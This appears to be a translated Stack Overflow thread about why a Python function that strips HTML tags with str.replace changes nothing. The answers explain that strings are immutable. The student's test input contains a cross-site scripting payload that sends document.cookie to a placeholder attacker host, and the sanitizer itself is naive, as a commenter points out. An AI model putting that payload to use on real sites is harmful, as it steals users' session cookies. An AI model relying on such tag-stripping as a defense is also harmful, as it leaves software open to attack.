2012-09-17 31 views
2

我想要替换字符串中的某些关键字。这里是我的功能:为什么功能不起作用?尝试替换字符串中的单词

def clean_code(input): 
    input.replace('<script>', " ") 
    input.replace('</script>', " ") 
    input.replace('<a href>', " ") 
    input.replace('</a>', " ") 
    input.replace('>', "&gt;") 
    input.replace('>', "&lt;") 
    return input 

,这里是我的其他代码和字符串:

string1 = "This blog is STUPID! >\n" \ 
"<script>document.location='http://some_attacker/cookie.cgi?"\ 
" +document.cookie </script>" 


print '\nstring1 cleaned of code' 
print '------------------------' 
print clean_code(string1) 

我的输出如下,我不知道为什么什么都没有改变

string1 cleaned of code 
------------------------ 
This blog is STUPID! > 
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script> 
+3

除了你看到的错误之外,即使是最基本的攻击,这也是极其不足的防御。该方法也不能很好地扩展。 – delnan

+0

@delnan它只是作业,它不应该做任何事情 – pearbear

+1

好的,那么,只要你知道它,不要在实际上服务于任何请求的代码中尝试这样的废话。 – delnan

回答

8

Python字符串是不可变

input = input.replace('<script>', " ") 
input = ... 

replace documentation

返回字符串str与老串通过更换新出现的所有副本。

+1

Agh文档链接我再次丢失 –

3

.replace不是就地突变

试试这个

def clean_code(input): 
    for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "), 
       ('</a>', " "),('>', "&gt;"),('>', "&lt;")]: 
     input = input.replace(tokens[0], tokens[1]) 
    return input 
3

字符串在Python是不可改变的。 input.replace('</a>', " ")不会更改input。您需要将结果分配回input

但是真的,你应该使用一个解析器,如BeautifulSouplxml

+0

最近推荐使用lxml –

+1

@JakobBowyer:谢谢 - 更新。 –

1

String.replace返回替换结果的新字符串,但不会更改原始字符串。要做到这一点,你必须将返回值分配回变量,像这样:

myString = myString.replace("foo", "bar") 

此外,input.replace('<a href>', " ")只会更换确切子“< A HREF >”。要删除实际链接,请尝试​​。

相关问题